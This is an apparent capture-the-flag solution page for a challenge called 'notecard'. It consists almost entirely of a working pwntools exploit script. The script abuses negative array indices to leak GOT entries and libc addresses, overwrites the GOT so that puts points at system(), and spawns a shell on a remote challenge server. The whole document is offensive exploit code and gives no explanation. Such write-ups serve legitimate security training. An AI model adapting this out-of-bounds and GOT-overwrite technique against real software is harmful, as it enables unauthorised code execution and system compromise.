notecard

#unknown-libc#ret2libc#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./notecard_patched")
rop = ROP(elf)

context.binary = elf
context.aslr = False
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x555555554000+0x1301
b *0x555555554000+0x1423
c
"""


def conn():
    if args.REMOTE:
        r = remote("chals.swampctf.com", 40002)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r

def main():
    r = conn()
    command = b'/bin/sh && echo'.ljust(24, b' ')
    r.recvuntil(b'Please enter your name:')
    r.sendline(command)

    r.recvuntil(b'Change it? (y/n)?')
    r.sendline(b'n')

    r.recvuntil(b'Hello ' + command)
    leak = r.recvuntil(b'!\n', drop=True)

    func_exit = u64(leak.ljust(8, b'\x00'))
    elf.address = func_exit - 0x1270

    memset_got = elf.got["memset"]
    printf_got = elf.got["printf"]
    puts_got   = elf.got["puts"]
    exit_got   = elf.got["exit"]

    ret_addr = elf.address + 0x13f0

    print("ELF addresses:   ")
    print("    base address : " + hex(elf.address))
    print("    exit   got   : " + hex(exit_got))
    print("    memset got   : " + hex(memset_got))
    print("    printf got   : " + hex(printf_got))
    print("    puts   got   : " + hex(puts_got))
    print()

    payload = p64(exit_got) + p64(memset_got) + p64(printf_got) + p64(puts_got)

    r.recvuntil(b'> ')
    r.sendline(b'2')

    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'4')
    r.sendline(payload)

    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-6')

    leak_exit = r.recvuntil(b'\n', drop=True)
    leak_exit = u64(leak_exit.ljust(8, b'\x00')) 

    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-5')

    leak_memset = r.recvuntil(b'\n', drop=True)
    leak_memset = u64(leak_memset.ljust(8, b'\x00')) 

    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-4')

    leak_printf = r.recvuntil(b'\n', drop=True)
    leak_printf = u64(leak_printf.ljust(8, b'\x00')) 

    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-3')

    leak_puts = r.recvuntil(b'\n', drop=True)
    leak_puts = u64(leak_puts.ljust(8, b'\x00'))

    libc_address = leak_puts - 0x87bd0
    system = libc_address + 0x58740

    print("Libc addresses:     ")
    print("    exit address:   " + hex(leak_exit))
    print("    memset address: " + hex(leak_memset))
    print("    printf address: " + hex(leak_printf))
    print("    puts address:   " + hex(leak_puts))
    print()
    print("    libc address:   " + hex(libc_address))
    print("    system address: " + hex(system))
    print()

    r.recvuntil(b'> ')
    r.sendline(b'2')

    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-6')
    r.sendline(p64(ret_addr))

    r.recvuntil(b'> ')
    r.sendline(b'2')

    r.recvuntil(b'Notecard number (0 - 4): ')
    r.sendline(b'-3')
    r.sendline(p64(system))

    r.recvuntil(b'> ')
    r.send(b'0')

    r.sendline()
    time.sleep(0.2)
    r.clean()

    r.interactive()




if __name__ == "__main__":
    main()